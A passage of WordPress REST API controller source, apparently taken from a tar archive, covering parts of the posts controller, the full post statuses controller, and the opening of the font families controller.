				'custom-fields',
				'thumbnail',
			),
		);

		foreach ( $post_type_attributes as $attribute ) {
			if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) {
				continue;
			} elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) {
				continue;
			}

			switch ( $attribute ) {

				case 'title':
					$schema['properties']['title'] = array(
						'description' => __( 'The title for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'      => array(
								'description' => __( 'Title for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered' => array(
								'description' => __( 'HTML title for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'editor':
					$schema['properties']['content'] = array(
						'description' => __( 'The content for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'           => array(
								'description' => __( 'Content for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered'      => array(
								'description' => __( 'HTML content for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit' ),
								'readonly'    => true,
							),
							'block_version' => array(
								'description' => __( 'Version of the content block format used by the post.' ),
								'type'        => 'integer',
								'context'     => array( 'edit' ),
								'readonly'    => true,
							),
							'protected'     => array(
								'description' => __( 'Whether the content is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'author':
					$schema['properties']['author'] = array(
						'description' => __( 'The ID for the author of the post.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'excerpt':
					$schema['properties']['excerpt'] = array(
						'description' => __( 'The excerpt for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'       => array(
								'description' => __( 'Excerpt for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered'  => array(
								'description' => __( 'HTML excerpt for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
							'protected' => array(
								'description' => __( 'Whether the excerpt is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'thumbnail':
					$schema['properties']['featured_media'] = array(
						'description' => __( 'The ID of the featured media for the post.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'comments':
					$schema['properties']['comment_status'] = array(
						'description' => __( 'Whether or not comments are open on the post.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					$schema['properties']['ping_status']    = array(
						'description' => __( 'Whether or not the post can be pinged.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'page-attributes':
					$schema['properties']['menu_order'] = array(
						'description' => __( 'The order of the post in relation to other posts.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'post-formats':
					// Get the native post formats and remove the array keys.
					$formats = array_values( get_post_format_slugs() );

					$schema['properties']['format'] = array(
						'description' => __( 'The format for the post.' ),
						'type'        => 'string',
						'enum'        => $formats,
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'custom-fields':
					$schema['properties']['meta'] = $this->meta->get_field_schema();
					break;

			}
		}

		if ( 'post' === $this->post_type ) {
			$schema['properties']['sticky'] = array(
				'description' => __( 'Whether or not the post should be treated as sticky.' ),
				'type'        => 'boolean',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['template'] = array(
			'description' => __( 'The theme file to use to display the post.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'validate_callback' => array( $this, 'check_template' ),
			),
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( array_key_exists( $base, $schema['properties'] ) ) {
				$taxonomy_field_name_with_conflict = ! empty( $taxonomy->rest_base ) ? 'rest_base' : 'name';
				_doing_it_wrong(
					'register_taxonomy',
					sprintf(
						/* translators: 1: The taxonomy name, 2: The property name, either 'rest_base' or 'name', 3: The conflicting value. */
						__( 'The "%1$s" taxonomy "%2$s" property (%3$s) conflicts with an existing property on the REST API Posts Controller. Specify a custom "rest_base" when registering the taxonomy to avoid this error.' ),
						$taxonomy->name,
						$taxonomy_field_name_with_conflict,
						$base
					),
					'5.4.0'
				);
			}

			$schema['properties'][ $base ] = array(
				/* translators: %s: Taxonomy name. */
				'description' => sprintf( __( 'The terms assigned to the post in the %s taxonomy.' ), $taxonomy->name ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema_links = $this->get_schema_links();

		if ( $schema_links ) {
			$schema['links'] = $schema_links;
		}

		// Take a snapshot of which fields are in the schema pre-filtering.
		$schema_fields = array_keys( $schema['properties'] );

		/**
		 * Filters the post's schema.
		 *
		 * The dynamic portion of the filter, `$this->post_type`, refers to the
		 * post type slug for the controller.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_post_item_schema`
		 *  - `rest_page_item_schema`
		 *  - `rest_attachment_item_schema`
		 *
		 * @since 5.4.0
		 *
		 * @param array $schema Item schema data.
		 */
		$schema = apply_filters( "rest_{$this->post_type}_item_schema", $schema );

		// Emit a _doing_it_wrong warning if user tries to add new properties using this filter.
		$new_fields = array_diff( array_keys( $schema['properties'] ), $schema_fields );
		if ( count( $new_fields ) > 0 ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					/* translators: %s: register_rest_field */
					__( 'Please use %s to add new schema properties.' ),
					'register_rest_field'
				),
				'5.4.0'
			);
		}

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves Link Description Objects that should be added to the Schema for the posts collection.
	 *
	 * @since 4.9.8
	 *
	 * @return array
	 */
	protected function get_schema_links() {

		$href = rest_url( "{$this->namespace}/{$this->rest_base}/{id}" );

		$links = array();

		if ( 'attachment' !== $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-publish',
				'title'        => __( 'The current user can publish this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'status' => array(
							'type' => 'string',
							'enum' => array( 'publish', 'future' ),
						),
					),
				),
			);
		}

		$links[] = array(
			'rel'          => 'https://api.w.org/action-unfiltered-html',
			'title'        => __( 'The current user can post unfiltered HTML markup and JavaScript.' ),
			'href'         => $href,
			'targetSchema' => array(
				'type'       => 'object',
				'properties' => array(
					'content' => array(
						'raw' => array(
							'type' => 'string',
						),
					),
				),
			),
		);

		if ( 'post' === $this->post_type ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-sticky',
				'title'        => __( 'The current user can sticky this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'sticky' => array(
							'type' => 'boolean',
						),
					),
				),
			);
		}

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-author',
				'title'        => __( 'The current user can change the author on this post.' ),
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						'author' => array(
							'type' => 'integer',
						),
					),
				),
			);
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;

			/* translators: %s: Taxonomy name. */
			$assign_title = sprintf( __( 'The current user can assign terms in the %s taxonomy.' ), $tax->name );
			/* translators: %s: Taxonomy name. */
			$create_title = sprintf( __( 'The current user can create terms in the %s taxonomy.' ), $tax->name );

			$links[] = array(
				'rel'          => 'https://api.w.org/action-assign-' . $tax_base,
				'title'        => $assign_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);

			$links[] = array(
				'rel'          => 'https://api.w.org/action-create-' . $tax_base,
				'title'        => $create_title,
				'href'         => $href,
				'targetSchema' => array(
					'type'       => 'object',
					'properties' => array(
						$tax_base => array(
							'type'  => 'array',
							'items' => array(
								'type' => 'integer',
							),
						),
					),
				),
			);
		}

		return $links;
	}

	/**
	 * Retrieves the query params for the posts collection.
	 *
	 * @since 4.7.0
	 * @since 5.4.0 The `tax_relation` query parameter was added.
	 * @since 5.7.0 The `modified_after` and `modified_before` query parameters were added.
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		$query_params['after'] = array(
			'description' => __( 'Limit response to posts published after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['modified_after'] = array(
			'description' => __( 'Limit response to posts modified after a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		if ( post_type_supports( $this->post_type, 'author' ) ) {
			$query_params['author']         = array(
				'description' => __( 'Limit result set to posts assigned to specific authors.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
			$query_params['author_exclude'] = array(
				'description' => __( 'Ensure result set excludes posts assigned to specific authors.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
		}

		$query_params['before'] = array(
			'description' => __( 'Limit response to posts published before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['modified_before'] = array(
			'description' => __( 'Limit response to posts modified before a given ISO8601 compliant date.' ),
			'type'        => 'string',
			'format'      => 'date-time',
		);

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['menu_order'] = array(
				'description' => __( 'Limit result set to posts with a specific menu_order value.' ),
				'type'        => 'integer',
			);
		}

		$query_params['search_semantics'] = array(
			'description' => __( 'How to interpret the search input.' ),
			'type'        => 'string',
			'enum'        => array( 'exact' ),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by post attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'author',
				'date',
				'id',
				'include',
				'modified',
				'parent',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		if ( 'page' === $this->post_type || post_type_supports( $this->post_type, 'page-attributes' ) ) {
			$query_params['orderby']['enum'][] = 'menu_order';
		}

		$post_type = get_post_type_object( $this->post_type );

		if ( $post_type->hierarchical || 'attachment' === $this->post_type ) {
			$query_params['parent']         = array(
				'description' => __( 'Limit result set to items with particular parent IDs.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
			$query_params['parent_exclude'] = array(
				'description' => __( 'Limit result set to all items except those of a particular parent ID.' ),
				'type'        => 'array',
				'items'       => array(
					'type' => 'integer',
				),
				'default'     => array(),
			);
		}

		$query_params['search_columns'] = array(
			'default'     => array(),
			'description' => __( 'Array of column names to be searched.' ),
			'type'        => 'array',
			'items'       => array(
				'enum' => array( 'post_title', 'post_content', 'post_excerpt' ),
				'type' => 'string',
			),
		);

		$query_params['slug'] = array(
			'description' => __( 'Limit result set to posts with one or more specific slugs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'string',
			),
		);

		$query_params['status'] = array(
			'default'           => 'publish',
			'description'       => __( 'Limit result set to posts assigned one or more statuses.' ),
			'type'              => 'array',
			'items'             => array(
				'enum' => array_merge( array_keys( get_post_stati() ), array( 'any' ) ),
				'type' => 'string',
			),
			'sanitize_callback' => array( $this, 'sanitize_post_statuses' ),
		);

		$query_params = $this->prepare_taxonomy_limit_schema( $query_params );

		if ( 'post' === $this->post_type ) {
			$query_params['sticky'] = array(
				'description' => __( 'Limit result set to items that are sticky.' ),
				'type'        => 'boolean',
			);

			$query_params['ignore_sticky'] = array(
				'description' => __( 'Whether to ignore sticky posts or not.' ),
				'type'        => 'boolean',
				'default'     => true,
			);
		}

		if ( post_type_supports( $this->post_type, 'post-formats' ) ) {
			$query_params['format'] = array(
				'description' => __( 'Limit result set to items assigned one or more given formats.' ),
				'type'        => 'array',
				'uniqueItems' => true,
				'items'       => array(
					'enum' => array_values( get_post_format_slugs() ),
					'type' => 'string',
				),
			);
		}

		/**
		 * Filters collection parameters for the posts controller.
		 *
		 * The dynamic part of the filter `$this->post_type` refers to the post
		 * type slug for the controller.
		 *
		 * This filter registers the collection parameter, but does not map the
		 * collection parameter to an internal WP_Query parameter. Use the
		 * `rest_{$this->post_type}_query` filter to set WP_Query parameters.
		 *
		 * @since 4.7.0
		 *
		 * @param array        $query_params JSON Schema-formatted collection parameters.
		 * @param WP_Post_Type $post_type    Post type object.
		 */
		return apply_filters( "rest_{$this->post_type}_collection_params", $query_params, $post_type );
	}

	/**
	 * Sanitizes and validates the list of post statuses, including whether the
	 * user can query private statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param string|array    $statuses  One or more post statuses.
	 * @param WP_REST_Request $request   Full details about the request.
	 * @param string          $parameter Additional parameter to pass to validation.
	 * @return array|WP_Error A list of valid statuses, otherwise WP_Error object.
	 */
	public function sanitize_post_statuses( $statuses, $request, $parameter ) {
		$statuses = wp_parse_slug_list( $statuses );

		// The default status is different in WP_REST_Attachments_Controller.
		$attributes     = $request->get_attributes();
		$default_status = $attributes['args']['status']['default'];

		foreach ( $statuses as $status ) {
			if ( $status === $default_status ) {
				continue;
			}

			$post_type_obj = get_post_type_object( $this->post_type );

			if ( current_user_can( $post_type_obj->cap->edit_posts ) || 'private' === $status && current_user_can( $post_type_obj->cap->read_private_posts ) ) {
				$result = rest_validate_request_arg( $status, $request, $parameter );
				if ( is_wp_error( $result ) ) {
					return $result;
				}
			} else {
				return new WP_Error(
					'rest_forbidden_status',
					__( 'Status is forbidden.' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return $statuses;
	}

	/**
	 * Prepares the 'tax_query' for a collection of posts.
	 *
	 * @since 5.7.0
	 *
	 * @param array           $args    WP_Query arguments.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return array Updated query arguments.
	 */
	private function prepare_tax_query( array $args, WP_REST_Request $request ) {
		$relation = $request['tax_relation'];

		if ( $relation ) {
			$args['tax_query'] = array( 'relation' => $relation );
		}

		$taxonomies = wp_list_filter(
			get_object_taxonomies( $this->post_type, 'objects' ),
			array( 'show_in_rest' => true )
		);

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			$tax_include = $request[ $base ];
			$tax_exclude = $request[ $base . '_exclude' ];

			if ( $tax_include ) {
				$terms            = array();
				$include_children = false;
				$operator         = 'IN';

				if ( rest_is_array( $tax_include ) ) {
					$terms = $tax_include;
				} elseif ( rest_is_object( $tax_include ) ) {
					$terms            = empty( $tax_include['terms'] ) ? array() : $tax_include['terms'];
					$include_children = ! empty( $tax_include['include_children'] );

					if ( isset( $tax_include['operator'] ) && 'AND' === $tax_include['operator'] ) {
						$operator = 'AND';
					}
				}

				if ( $terms ) {
					$args['tax_query'][] = array(
						'taxonomy'         => $taxonomy->name,
						'field'            => 'term_id',
						'terms'            => $terms,
						'include_children' => $include_children,
						'operator'         => $operator,
					);
				}
			}

			if ( $tax_exclude ) {
				$terms            = array();
				$include_children = false;

				if ( rest_is_array( $tax_exclude ) ) {
					$terms = $tax_exclude;
				} elseif ( rest_is_object( $tax_exclude ) ) {
					$terms            = empty( $tax_exclude['terms'] ) ? array() : $tax_exclude['terms'];
					$include_children = ! empty( $tax_exclude['include_children'] );
				}

				if ( $terms ) {
					$args['tax_query'][] = array(
						'taxonomy'         => $taxonomy->name,
						'field'            => 'term_id',
						'terms'            => $terms,
						'include_children' => $include_children,
						'operator'         => 'NOT IN',
					);
				}
			}
		}

		return $args;
	}

	/**
	 * Prepares the collection schema for including and excluding items by terms.
	 *
	 * @since 5.7.0
	 *
	 * @param array $query_params Collection schema.
	 * @return array Updated schema.
	 */
	private function prepare_taxonomy_limit_schema( array $query_params ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		if ( ! $taxonomies ) {
			return $query_params;
		}

		$query_params['tax_relation'] = array(
			'description' => __( 'Limit result set based on relationship between multiple taxonomies.' ),
			'type'        => 'string',
			'enum'        => array( 'AND', 'OR' ),
		);

		$limit_schema = array(
			'type'  => array( 'object', 'array' ),
			'oneOf' => array(
				array(
					'title'       => __( 'Term ID List' ),
					'description' => __( 'Match terms with the listed IDs.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => 'integer',
					),
				),
				array(
					'title'                => __( 'Term ID Taxonomy Query' ),
					'description'          => __( 'Perform an advanced term query.' ),
					'type'                 => 'object',
					'properties'           => array(
						'terms'            => array(
							'description' => __( 'Term IDs.' ),
							'type'        => 'array',
							'items'       => array(
								'type' => 'integer',
							),
							'default'     => array(),
						),
						'include_children' => array(
							'description' => __( 'Whether to include child terms in the terms limiting the result set.' ),
							'type'        => 'boolean',
							'default'     => false,
						),
					),
					'additionalProperties' => false,
				),
			),
		);

		$include_schema = array_merge(
			array(
				/* translators: %s: Taxonomy name. */
				'description' => __( 'Limit result set to items with specific terms assigned in the %s taxonomy.' ),
			),
			$limit_schema
		);
		// 'operator' is supported only for 'include' queries.
		$include_schema['oneOf'][1]['properties']['operator'] = array(
			'description' => __( 'Whether items must be assigned all or any of the specified terms.' ),
			'type'        => 'string',
			'enum'        => array( 'AND', 'OR' ),
			'default'     => 'OR',
		);

		$exclude_schema = array_merge(
			array(
				/* translators: %s: Taxonomy name. */
				'description' => __( 'Limit result set to items except those with specific terms assigned in the %s taxonomy.' ),
			),
			$limit_schema
		);

		foreach ( $taxonomies as $taxonomy ) {
			$base         = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
			$base_exclude = $base . '_exclude';

			$query_params[ $base ]                = $include_schema;
			$query_params[ $base ]['description'] = sprintf( $query_params[ $base ]['description'], $base );

			$query_params[ $base_exclude ]                = $exclude_schema;
			$query_params[ $base_exclude ]['description'] = sprintf( $query_params[ $base_exclude ]['description'], $base );

			if ( ! $taxonomy->hierarchical ) {
				unset( $query_params[ $base ]['oneOf'][1]['properties']['include_children'] );
				unset( $query_params[ $base_exclude ]['oneOf'][1]['properties']['include_children'] );
			}
		}

		return $query_params;
	}
}
endpoints/class-wp-rest-post-statuses-controller.php000066600000024105152442706000017007 0ustar00<?php
/**
 * REST API: WP_REST_Post_Statuses_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core class used to access post statuses via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Post_Statuses_Controller extends WP_REST_Controller {

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'statuses';
	}

	/**
	 * Registers the routes for post statuses.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<status>[\w-]+)',
			array(
				'args'   => array(
					'status' => array(
						'description' => __( 'An alphanumeric identifier for the status.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read post statuses.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( 'edit' === $request['context'] ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}

			return new WP_Error(
				'rest_cannot_view',
				__( 'Sorry, you are not allowed to manage post statuses.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves all post statuses, depending on user context.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		$data              = array();
		$statuses          = get_post_stati( array( 'internal' => false ), 'object' );
		$statuses['trash'] = get_post_status_object( 'trash' );

		foreach ( $statuses as $obj ) {
			$ret = $this->check_read_permission( $obj );

			if ( ! $ret ) {
				continue;
			}

			$status             = $this->prepare_item_for_response( $obj, $request );
			$data[ $obj->name ] = $this->prepare_response_for_collection( $status );
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to read a post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$status = get_post_status_object( $request['status'] );

		if ( empty( $status ) ) {
			return new WP_Error(
				'rest_status_invalid',
				__( 'Invalid status.' ),
				array( 'status' => 404 )
			);
		}

		$check = $this->check_read_permission( $status );

		if ( ! $check ) {
			return new WP_Error(
				'rest_cannot_read_status',
				__( 'Cannot view status.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Checks whether a given post status should be visible.
	 *
	 * @since 4.7.0
	 *
	 * @param object $status Post status.
	 * @return bool True if the post status is visible, otherwise false.
	 */
	protected function check_read_permission( $status ) {
		if ( true === $status->public ) {
			return true;
		}

		if ( false === $status->internal || 'trash' === $status->name ) {
			$types = get_post_types( array( 'show_in_rest' => true ), 'objects' );

			foreach ( $types as $type ) {
				if ( current_user_can( $type->cap->edit_posts ) ) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Retrieves a specific post status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$obj = get_post_status_object( $request['status'] );

		if ( empty( $obj ) ) {
			return new WP_Error(
				'rest_status_invalid',
				__( 'Invalid status.' ),
				array( 'status' => 404 )
			);
		}

		$data = $this->prepare_item_for_response( $obj, $request );

		return rest_ensure_response( $data );
	}

	/**
	 * Prepares a post status object for serialization.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$status` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param stdClass        $item    Post status data.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Post status data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$status = $item;

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'name', $fields, true ) ) {
			$data['name'] = $status->label;
		}

		if ( in_array( 'private', $fields, true ) ) {
			$data['private'] = (bool) $status->private;
		}

		if ( in_array( 'protected', $fields, true ) ) {
			$data['protected'] = (bool) $status->protected;
		}

		if ( in_array( 'public', $fields, true ) ) {
			$data['public'] = (bool) $status->public;
		}

		if ( in_array( 'queryable', $fields, true ) ) {
			$data['queryable'] = (bool) $status->publicly_queryable;
		}

		if ( in_array( 'show_in_list', $fields, true ) ) {
			$data['show_in_list'] = (bool) $status->show_in_admin_all_list;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $status->name;
		}

		if ( in_array( 'date_floating', $fields, true ) ) {
			$data['date_floating'] = $status->date_floating;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		$rest_url = rest_url( rest_get_route_for_post_type_items( 'post' ) );
		if ( 'publish' === $status->name ) {
			$response->add_link( 'archives', $rest_url );
		} else {
			$response->add_link( 'archives', add_query_arg( 'status', $status->name, $rest_url ) );
		}

		/**
		 * Filters a post status returned from the REST API.
		 *
		 * Allows modification of the status data right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $status   The original post status object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_status', $response, $status, $request );
	}

	/**
	 * Retrieves the post status' schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'status',
			'type'       => 'object',
			'properties' => array(
				'name'          => array(
					'description' => __( 'The title for the status.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'private'       => array(
					'description' => __( 'Whether posts with this status should be private.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'protected'     => array(
					'description' => __( 'Whether posts with this status should be protected.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'public'        => array(
					'description' => __( 'Whether posts of this status should be shown in the front end of the site.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'queryable'     => array(
					'description' => __( 'Whether posts with this status should be publicly-queryable.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'show_in_list'  => array(
					'description' => __( 'Whether to include posts in the edit listing for their post type.' ),
					'type'        => 'boolean',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'slug'          => array(
					'description' => __( 'An alphanumeric identifier for the status.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'date_floating' => array(
					'description' => __( 'Whether posts of this status may have floating published dates.' ),
					'type'        => 'boolean',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}
}
endpoints/class-wp-rest-font-families-controller.php000066600000042152152442706000016710 0ustar00<?php
/**
 * REST API: WP_REST_Font_Families_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.5.0
 */

/**
 * Font Families Controller class.
 *
 * @since 6.5.0
 */
class WP_REST_Font_Families_Controller extends WP_REST_Posts_Controller {

	/**
	 * The latest version of theme.json schema supported by the controller.
	 *
	 * @since 6.5.0
	 * @var int
	 */
	const LATEST_THEME_JSON_VERSION_SUPPORTED = 3;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 6.5.0
	 * @var false
	 */
	protected $allow_batch = false;

	/**
	 * Checks if a given request has access to font families.
	 *
	 * @since 6.5.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$post_type = get_post_type_object( $this->post_type );

		if ( ! current_user_can( $post_type->cap->read ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to access font families.' ),
